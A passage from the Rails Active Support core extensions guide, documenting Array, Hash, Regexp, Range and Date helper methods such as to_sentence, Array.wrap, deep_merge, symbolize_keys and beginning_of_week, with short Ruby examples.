That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.

If a method expects a variable number of arguments and uses `*` in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.

In those cases, you may give an options hash a distinguished treatment with [`extract_options!`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-extract_options-21). This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.

Let's see for example the definition of the `caches_action` controller macro:

```
def caches_action(*actions)
  return unless cache_configured?
  options = actions.extract_options!
  # ...
end
```

This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to `extract_options!` you obtain the options hash and remove it from `actions` in a simple and explicit way.

Defined in `active_support/core_ext/array/extract_options.rb`.

### [11.4. Conversions](#extensions-to-array-conversions)

#### [11.4.1. `to_sentence`](#to-sentence)

The method [`to_sentence`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-to_sentence) turns an array into a string containing a sentence that enumerates its items:

```
%w().to_sentence                # => ""
%w(Earth).to_sentence           # => "Earth"
%w(Earth Wind).to_sentence      # => "Earth and Wind"
%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
```

This method accepts three options:

* `:two_words_connector`: What is used for arrays of length 2. Default is " and ".
* `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
* `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ".

The defaults for these options can be localized, their keys are:

| Option                 | I18n key                            |
| ---------------------- | ----------------------------------- |
| `:two_words_connector` | `support.array.two_words_connector` |
| `:words_connector`     | `support.array.words_connector`     |
| `:last_word_connector` | `support.array.last_word_connector` |

Defined in `active_support/core_ext/array/conversions.rb`.

#### [11.4.2. `to_fs`](#extensions-to-array-conversions-to-fs)

The method [`to_fs`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-to_fs) acts like `to_s` by default.

If the array contains items that respond to `id`, however, the symbol `:db` may be passed as argument. That's typically used with collections of Active Record objects. Returned strings are:

```
[].to_fs(:db)            # => "null"
[user].to_fs(:db)        # => "8456"
invoice.lines.to_fs(:db) # => "23,567,556,12"
```

Integers in the example above are supposed to come from the respective calls to `id`.

Defined in `active_support/core_ext/array/conversions.rb`.

#### [11.4.3. `to_xml`](#extensions-to-array-conversions-to-xml)

The method [`to_xml`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-to_xml) returns a string containing an XML representation of its receiver:

```
Contributor.limit(2).order(:rank).to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors type="array">
#   <contributor>
#     <id type="integer">4356</id>
#     <name>Jeremy Kemper</name>
#     <rank type="integer">1</rank>
#     <url-id>jeremy-kemper</url-id>
#   </contributor>
#   <contributor>
#     <id type="integer">4404</id>
#     <name>David Heinemeier Hansson</name>
#     <rank type="integer">2</rank>
#     <url-id>david-heinemeier-hansson</url-id>
#   </contributor>
# </contributors>
```

To do so it sends `to_xml` to every item in turn, and collects the results under a root node. All items must respond to `to_xml`, an exception is raised otherwise.

By default, the name of the root element is the underscored and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors".

If there's any element that does not belong to the type of the first one the root node becomes "objects":

```
[Contributor.first, Commit.first].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <objects type="array">
#   <object>
#     <id type="integer">4583</id>
#     <name>Aaron Batalion</name>
#     <rank type="integer">53</rank>
#     <url-id>aaron-batalion</url-id>
#   </object>
#   <object>
#     <author>Joshua Peek</author>
#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
#     <branch>origin/master</branch>
#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
#     <committer>Joshua Peek</committer>
#     <git-show nil="true"></git-show>
#     <id type="integer">190316</id>
#     <imported-from-svn type="boolean">false</imported-from-svn>
#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
#   </object>
# </objects>
```

If the receiver is an array of hashes the root element is by default also "objects":

```
[{ a: 1, b: 2 }, { c: 3 }].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <objects type="array">
#   <object>
#     <b type="integer">2</b>
#     <a type="integer">1</a>
#   </object>
#   <object>
#     <c type="integer">3</c>
#   </object>
# </objects>
```

If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the `:root` option to ensure a consistent root element.

The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option `:children` allows you to set these node names.

The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder via the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder:

```
Contributor.limit(2).order(:rank).to_xml(skip_types: true)
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors>
#   <contributor>
#     <id>4356</id>
#     <name>Jeremy Kemper</name>
#     <rank>1</rank>
#     <url-id>jeremy-kemper</url-id>
#   </contributor>
#   <contributor>
#     <id>4404</id>
#     <name>David Heinemeier Hansson</name>
#     <rank>2</rank>
#     <url-id>david-heinemeier-hansson</url-id>
#   </contributor>
# </contributors>
```

Defined in `active_support/core_ext/array/conversions.rb`.

### [11.5. Wrapping](#wrapping)

The method [`Array.wrap`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-c-wrap) wraps its argument in an array unless it is already an array (or array-like).

Specifically:

* If the argument is `nil` an empty array is returned.
* Otherwise, if the argument responds to `to_ary` it is invoked, and if the value of `to_ary` is not `nil`, it is returned.
* Otherwise, an array with the argument as its single element is returned.

```
Array.wrap(nil)       # => []
Array.wrap([1, 2, 3]) # => [1, 2, 3]
Array.wrap(0)         # => [0]
```

This method is similar in purpose to `Kernel#Array`, but there are some differences:

* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns an array with the argument as its single element right away.
* If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value.
* It does not call `to_a` on the argument, if the argument does not respond to `to_ary` it returns an array with the argument as its single element.

The last point is particularly worth comparing for some enumerables:

```
Array.wrap(foo: :bar) # => [{:foo=>:bar}]
Array(foo: :bar)      # => [[:foo, :bar]]
```

There's also a related idiom that uses the splat operator:

```
[*object]
```

Defined in `active_support/core_ext/array/wrap.rb`.

### [11.6. Duplicating](#duplicating)

The method [`Array#deep_dup`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-deep_dup) duplicates itself and all objects inside recursively with the Active Support method `Object#deep_dup`. It works like `Array#map`, sending `deep_dup` method to each object inside.

```
array = [1, [2, 3]]
dup = array.deep_dup
dup[1][2] = 4
array[1][2] == nil   # => true
```

Defined in `active_support/core_ext/object/deep_dup.rb`.

### [11.7. Grouping](#grouping)

#### [11.7.1. `in_groups_of(number, fill_with = nil)`](#in-groups-of-number-fill-with-nil)

The method [`in_groups_of`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-in_groups_of) splits an array into consecutive groups of a certain size. It returns an array with the groups:

```
[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
```

or yields them in turn if a block is passed:

```
<% sample.in_groups_of(3) do |a, b, c| %>
  <tr>
    <td><%= a %></td>
    <td><%= b %></td>
    <td><%= c %></td>
  </tr>
<% end %>
```

The first example shows how `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument:

```
[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
```

And you can tell the method not to fill the last group by passing `false`:

```
[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
```

As a consequence `false` can't be used as a padding value.

Defined in `active_support/core_ext/array/grouping.rb`.

#### [11.7.2. `in_groups(number, fill_with = nil)`](#in-groups-number-fill-with-nil)

The method [`in_groups`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-in_groups) splits an array into a certain number of groups. The method returns an array with the groups:

```
%w(1 2 3 4 5 6 7).in_groups(3)
# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
```

or yields them in turn if a block is passed:

```
%w(1 2 3 4 5 6 7).in_groups(3) { |group| p group }
["1", "2", "3"]
["4", "5", nil]
["6", "7", nil]
```

The examples above show that `in_groups` fills some groups with a trailing `nil` element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.

You can change this padding value using the second optional argument:

```
%w(1 2 3 4 5 6 7).in_groups(3, "0")
# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
```

And you can tell the method not to fill the smaller groups by passing `false`:

```
%w(1 2 3 4 5 6 7).in_groups(3, false)
# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
```

As a consequence `false` can't be used as a padding value.

Defined in `active_support/core_ext/array/grouping.rb`.

#### [11.7.3. `split(value = nil)`](#split-value-nil)

The method [`split`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-split) divides an array by a separator and returns the resulting chunks.

If a block is passed the separators are those elements of the array for which the block returns true:

```
(-5..5).to_a.split { |i| i.multiple_of?(4) }
# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
```

Otherwise, the value received as argument, which defaults to `nil`, is the separator:

```
[0, 1, -5, 1, 1, "foo", "bar"].split(1)
# => [[0], [-5], [], ["foo", "bar"]]
```

Observe in the previous example that consecutive separators result in empty arrays.

Defined in `active_support/core_ext/array/grouping.rb`.

## [12. Extensions to `Hash`](#extensions-to-hash)

### [12.1. Conversions](#conversions)

#### [12.1.1. `to_xml`](#conversions-to-xml)

The method [`to_xml`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-to_xml) returns a string containing an XML representation of its receiver:

```
{ foo: 1, bar: 2 }.to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <hash>
#   <foo type="integer">1</foo>
#   <bar type="integer">2</bar>
# </hash>
```

To do so, the method loops over the pairs and builds nodes that depend on the *values*. Given a pair `key`, `value`:

* If `value` is a hash there's a recursive call with `key` as `:root`.

* If `value` is an array there's a recursive call with `key` as `:root`, and `key` singularized as `:children`.

* If `value` is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the `options` hash as first argument with `key` as `:root`, and `key` singularized as second argument. Its return value becomes a new node.

* If `value` responds to `to_xml` the method is invoked with `key` as `:root`.

* Otherwise, a node with `key` as tag is created with a string representation of `value` as text node. If `value` is `nil` an attribute "nil" set to "true" is added. Unless the option `:skip_types` exists and is true, an attribute "type" is added as well according to the following mapping:

```
XML_TYPE_NAMES = {
  "Symbol"     => "symbol",
  "Integer"    => "integer",
  "BigDecimal" => "decimal",
  "Float"      => "float",
  "TrueClass"  => "boolean",
  "FalseClass" => "boolean",
  "Date"       => "date",
  "DateTime"   => "datetime",
  "Time"       => "datetime"
}
```

By default the root node is "hash", but that's configurable via the `:root` option.

The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder with the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder.

Defined in `active_support/core_ext/hash/conversions.rb`.

### [12.2. Merging](#merging)

Ruby has a built-in method `Hash#merge` that merges two hashes:

```
{ a: 1, b: 1 }.merge(a: 0, c: 2)
# => {:a=>0, :b=>1, :c=>2}
```

Active Support defines a few more ways of merging hashes that may be convenient.

#### [12.2.1. `reverse_merge` and `reverse_merge!`](#reverse-merge-and-reverse-merge-bang)

In case of collision the key in the hash of the argument wins in `merge`. You can support option hashes with default values in a compact way with this idiom:

```
options = { length: 30, omission: "..." }.merge(options)
```

Active Support defines [`reverse_merge`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-reverse_merge) in case you prefer this alternative notation:

```
options = options.reverse_merge(length: 30, omission: "...")
```

And a bang version [`reverse_merge!`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-reverse_merge-21) that performs the merge in place:

```
options.reverse_merge!(length: 30, omission: "...")
```

Take into account that `reverse_merge!` may change the hash in the caller, which may or may not be a good idea.

Defined in `active_support/core_ext/hash/reverse_merge.rb`.

#### [12.2.2. `reverse_update`](#reverse-update)

The method [`reverse_update`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-reverse_update) is an alias for `reverse_merge!`, explained above.

Note that `reverse_update` has no bang.

Defined in `active_support/core_ext/hash/reverse_merge.rb`.

#### [12.2.3. `deep_merge` and `deep_merge!`](#deep-merge-and-deep-merge-bang)

As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.

Active Support defines [`Hash#deep_merge`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-deep_merge). In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their *merge* becomes the value in the resulting hash:

```
{ a: { b: 1 } }.deep_merge(a: { c: 2 })
# => {:a=>{:b=>1, :c=>2}}
```

The method [`deep_merge!`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-deep_merge-21) performs a deep merge in place.

Defined in `active_support/core_ext/hash/deep_merge.rb`.

### [12.3. Deep Duplicating](#deep-duplicating)

The method [`Hash#deep_dup`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-deep_dup) duplicates itself and all keys and values inside recursively with Active Support method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside.

```
hash = { a: 1, b: { c: 2, d: [3, 4] } }

dup = hash.deep_dup
dup[:b][:e] = 5
dup[:b][:d] << 5

hash[:b][:e] == nil      # => true
hash[:b][:d] == [3, 4]   # => true
```

Defined in `active_support/core_ext/object/deep_dup.rb`.

### [12.4. Working with Keys](#working-with-keys)

#### [12.4.1. `except!`](#except-bang)

The method [`except!`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-except-21) is identical to the built-in `except` method but removes keys in place, returning `self`.

```
{ a: 1, b: 2 }.except!(:a) # => {:b=>2}
{ a: 1, b: 2 }.except!(:c) # => {:a=>1, :b=>2}
```

If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except!` (and `except`) to play nice with hashes with indifferent access for instance:

```
{ a: 1 }.with_indifferent_access.except!(:a)  # => {}
{ a: 1 }.with_indifferent_access.except!("a") # => {}
```

Defined in `active_support/core_ext/hash/except.rb`.

#### [12.4.2. `stringify_keys` and `stringify_keys!`](#stringify-keys-and-stringify-keys-bang)

The method [`stringify_keys`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-stringify_keys) returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them:

```
{ nil => nil, 1 => 1, a: :a }.stringify_keys
# => {"" => nil, "1" => 1, "a" => :a}
```

In case of key collision, the value will be the one most recently inserted into the hash:

```
{ "a" => 1, a: 2 }.stringify_keys
# The result will be
# => {"a"=>2}
```

This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines:

```
def to_checkbox_tag(options = {}, checked_value = "1", unchecked_value = "0")
  options = options.stringify_keys
  options["type"] = "checkbox"
  # ...
end
```

The second line can safely access the "type" key, and let the user to pass either `:type` or "type".

There's also the bang variant [`stringify_keys!`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-stringify_keys-21) that stringifies keys in place.

Besides that, one can use [`deep_stringify_keys`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-deep_stringify_keys) and [`deep_stringify_keys!`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-deep_stringify_keys-21) to stringify all the keys in the given hash and all the hashes nested in it. An example of the result is:

```
{ nil => nil, 1 => 1, nested: { a: 3, 5 => 5 } }.deep_stringify_keys
# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
```

Defined in `active_support/core_ext/hash/keys.rb`.

#### [12.4.3. `symbolize_keys` and `symbolize_keys!`](#symbolize-keys-and-symbolize-keys-bang)

The method [`symbolize_keys`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-symbolize_keys) returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them:

```
{ nil => nil, 1 => 1, "a" => "a" }.symbolize_keys
# => {nil=>nil, 1=>1, :a=>"a"}
```

Note in the previous example only one key was symbolized.

In case of key collision, the value will be the one most recently inserted into the hash:

```
{ "a" => 1, a: 2 }.symbolize_keys
# => {:a=>2}
```

This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionText::TagHelper` defines

```
def rich_textarea_tag(name, value = nil, options = {})
  options = options.symbolize_keys

  options[:input] ||= "trix_input_#{ActionText::TagHelper.id += 1}"
  # ...
end
```

The third line can safely access the `:input` key, and let the user to pass either `:input` or "input".

There's also the bang variant [`symbolize_keys!`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-symbolize_keys-21) that symbolizes keys in place.

Besides that, one can use [`deep_symbolize_keys`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-deep_symbolize_keys) and [`deep_symbolize_keys!`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-deep_symbolize_keys-21) to symbolize all the keys in the given hash and all the hashes nested in it. An example of the result is:

```
{ nil => nil, 1 => 1, "nested" => { "a" => 3, 5 => 5 } }.deep_symbolize_keys
# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}
```

Defined in `active_support/core_ext/hash/keys.rb`.

#### [12.4.4. `to_options` and `to_options!`](#to-options-and-to-options-bang)

The methods [`to_options`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-to_options) and [`to_options!`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-to_options-21) are aliases of `symbolize_keys` and `symbolize_keys!`, respectively.

Defined in `active_support/core_ext/hash/keys.rb`.

#### [12.4.5. `assert_valid_keys`](#assert-valid-keys)

The method [`assert_valid_keys`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-assert_valid_keys) receives an arbitrary number of arguments, and checks whether the receiver has any key outside that list. If it does `ArgumentError` is raised.

```
{ a: 1 }.assert_valid_keys(:a)  # passes
{ a: 1 }.assert_valid_keys("a") # ArgumentError
```

Active Record does not accept unknown options when building associations, for example. It implements that control via `assert_valid_keys`.

Defined in `active_support/core_ext/hash/keys.rb`.

### [12.5. Working with Values](#working-with-values)

#### [12.5.1. `deep_transform_values` and `deep_transform_values!`](#deep-transform-values-and-deep-transform-values-bang)

The method [`deep_transform_values`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-deep_transform_values) returns a new hash with all values converted by the block operation. This includes the values from the root hash and from all nested hashes and arrays.

```
hash = { person: { name: "Rob", age: "28" } }

hash.deep_transform_values { |value| value.to_s.upcase }
# => {person: {name: "ROB", age: "28"}}
```

There's also the bang variant [`deep_transform_values!`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-deep_transform_values-21) that destructively converts all values by using the block operation.

Defined in `active_support/core_ext/hash/deep_transform_values.rb`.

### [12.6. Slicing](#slicing)

The method [`slice!`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-slice-21) replaces the hash with only the given keys and returns a hash containing the removed key/value pairs.

```
hash = { a: 1, b: 2 }
rest = hash.slice!(:a) # => {:b=>2}
hash                   # => {:a=>1}
```

Defined in `active_support/core_ext/hash/slice.rb`.

### [12.7. Extracting](#extensions-to-hash-extracting)

The method [`extract!`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-extract-21) removes and returns the key/value pairs matching the given keys.

```
hash = { a: 1, b: 2 }
rest = hash.extract!(:a) # => {:a=>1}
hash                     # => {:b=>2}
```

The method `extract!` returns the same subclass of Hash that the receiver is.

```
hash = { a: 1, b: 2 }.with_indifferent_access
rest = hash.extract!(:a).class
# => ActiveSupport::HashWithIndifferentAccess
```

Defined in `active_support/core_ext/hash/slice.rb`.

### [12.8. Indifferent Access](#indifferent-access)

The method [`with_indifferent_access`](https://api.rubyonrails.org/v8.1.4/classes/Hash.html#method-i-with_indifferent_access) returns an [`ActiveSupport::HashWithIndifferentAccess`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/HashWithIndifferentAccess.html) out of its receiver:

```
{ a: 1 }.with_indifferent_access["a"] # => 1
```

Defined in `active_support/core_ext/hash/indifferent_access.rb`.

## [13. Extensions to `Regexp`](#extensions-to-regexp)

### [13.1. `multiline?`](#multiline-questionmark)

The method [`multiline?`](https://api.rubyonrails.org/v8.1.4/classes/Regexp.html#method-i-multiline-3F) says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines.

```
%r{.}.multiline?  # => false
%r{.}m.multiline? # => true

Regexp.new(".").multiline?                    # => false
Regexp.new(".", Regexp::MULTILINE).multiline? # => true
```

Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.

```
def verify_regexp_requirements(requirements)
  # ...
  if requirement.multiline?
    raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{requirement.inspect}"
  end
  # ...
end
```

Defined in `active_support/core_ext/regexp.rb`.

## [14. Extensions to `Range`](#extensions-to-range)

### [14.1. `to_fs`](#extensions-to-range-to-fs)

Active Support defines `Range#to_fs` as an alternative to `to_s` that understands an optional format argument. As of this writing the only supported non-default format is `:db`:

```
(Date.today..Date.tomorrow).to_fs
# => "2009-10-25..2009-10-26"

(Date.today..Date.tomorrow).to_fs(:db)
# => "BETWEEN '2009-10-25' AND '2009-10-26'"
```

As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That is used by Active Record in its support for range values in conditions.

Defined in `active_support/core_ext/range/conversions.rb`.

### [14.2. `===` and `include?`](#and-include-questionmark)

The methods `Range#===` and `Range#include?` say whether some value falls between the ends of a given instance:

```
(2..3).include?(Math::E) # => true
```

Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:

```
(1..10) === (3..7)  # => true
(1..10) === (0..7)  # => false
(1..10) === (3..11) # => false
(1...9) === (3..9)  # => false

(1..10).include?(3..7)  # => true
(1..10).include?(0..7)  # => false
(1..10).include?(3..11) # => false
(1...9).include?(3..9)  # => false
```

Defined in `active_support/core_ext/range/compare_range.rb`.

### [14.3. `overlap?`](#overlap-questionmark)

The method [`Range#overlap?`](https://api.rubyonrails.org/v8.1.4/classes/Range.html#method-i-overlaps-3F) says whether any two given ranges have non-void intersection:

```
(1..10).overlap?(7..11)  # => true
(1..10).overlap?(0..7)   # => true
(1..10).overlap?(11..27) # => false
```

Defined in `active_support/core_ext/range/overlap.rb`.

## [15. Extensions to `Date`](#extensions-to-date)

### [15.1. Calculations](#extensions-to-date-calculations)

The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior.

#### [15.1.1. `Date.current`](#date-current)

Active Support defines [`Date.current`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-c-current) to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines [`Date.yesterday`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-c-yesterday) and [`Date.tomorrow`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-c-tomorrow), and the instance predicates [`past?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-past-3F), [`today?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-today-3F), [`tomorrow?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-tomorrow-3F), [`next_day?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-next_day-3F), [`yesterday?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-yesterday-3F), [`prev_day?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-prev_day-3F), [`future?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-future-3F), [`on_weekday?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-on_weekday-3F) and [`on_weekend?`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-on_weekend-3F), all of them relative to `Date.current`.

When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`.

Defined in `active_support/core_ext/date/calculations.rb`.

#### [15.1.2. Named Dates](#named-dates)

##### [15.1.2.1. `beginning_of_week`, `end_of_week`](#beginning-of-week-end-of-week)

The methods [`beginning_of_week`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-beginning_of_week) and [`end_of_week`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-end_of_week) return the dates for the beginning and end of the week, respectively. Weeks are assumed to start on Monday, but that can be changed passing an argument, setting thread local `Date.beginning_of_week` or [`config.beginning_of_week`](configuring.html#config-beginning-of-week).

```
d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
d.beginning_of_week          # => Mon, 03 May 2010
d.beginning_of_week(:sunday) # => Sun, 02 May 2010
d.end_of_week                # => Sun, 09 May 2010
d.end_of_week(:sunday)       # => Sat, 08 May 2010
```

`beginning_of_week` is aliased to [`at_beginning_of_week`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_week) and `end_of_week` is aliased to [`at_end_of_week`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-at_end_of_week).

Defined in `active_support/core_ext/date_and_time/calculations.rb`.

##### [15.1.2.2. `monday`, `sunday`](#monday-sunday)

The methods [`monday`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-monday) and [`sunday`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-sunday) return the dates for the previous Monday and next Sunday, respectively.

```
d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
d.monday                     # => Mon, 03 May 2010
d.sunday                     # => Sun, 09 May 2010

d = Date.new(2012, 9, 10)    # => Mon, 10 Sep 2012
d.monday                     # => Mon, 10 Sep 2012

d = Date.new(2012, 9, 16)    # => Sun, 16 Sep 2012
d.sunday                     # => Sun, 16 Sep 2012
```

Defined in `active_support/core_ext/date_and_time/calculations.rb`.

##### [15.1.2.3. `prev_week`, `next_week`](#prev-week-next-week)

The method [`next_week`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-next_week) receives a symbol with a day name in English (default is the thread local [`Date.beginning_of_week`](https://api.rubyonrails.org/v8.1.4/classes/Date.html#method-c-beginning_of_week), or [`config.beginning_of_week`](configuring.html#config-beginning-of-week), or `:monday`) and it returns the date corresponding to that day.

```
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.next_week              # => Mon, 10 May 2010
d.next_week(:saturday)   # => Sat, 15 May 2010
```

The method [`prev_week`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-prev_week) is analogous:

```
d.prev_week              # => Mon, 26 Apr 2010
d.prev_week(:saturday)   # => Sat, 01 May 2010
d.prev_week(:friday)     # => Fri, 30 Apr 2010
```

`prev_week` is aliased to [`last_week`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-last_week).

Both `next_week` and `prev_week` work as expected when `Date.beginning_of_week` or `config.beginning_of_week` are set.

Defined in `active_support/core_ext/date_and_time/calculations.rb`.

##### [15.1.2.4. `beginning_of_month`, `end_of_month`](#beginning-of-month-end-of-month)

The methods [`beginning_of_month`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-beginning_of_month) and [`end_of_month`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-end_of_month) return the dates for the beginning and end of the month:

```
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_month     # => Sat, 01 May 2010
d.end_of_month           # => Mon, 31 May 2010
```

`beginning_of_month` is aliased to [`at_beginning_of_month`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_month), and `end_of_month` is aliased to [`at_end_of_month`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-at_end_of_month).

Defined in `active_support/core_ext/date_and_time/calculations.rb`.

##### [15.1.2.5. `quarter`, `beginning_of_quarter`, `end_of_quarter`](#quarter-beginning-of-quarter-end-of-quarter)

The method [`quarter`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-quarter) returns the quarter of the receiver's calendar year:

```
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.quarter                # => 2
```

The methods [`beginning_of_quarter`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-beginning_of_quarter) and [`end_of_quarter`](https://api.rubyonrails.org/v8.1.4/classes/DateAndTime/Calculations.html#method-i-end_of_quarter) return the dates for the beginning and end of the quarter of the receiver's calendar year:

```
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_quarter   # => Thu, 01 Apr 2010
d.end_of_quarter         # => Wed, 30 Jun 2010
```

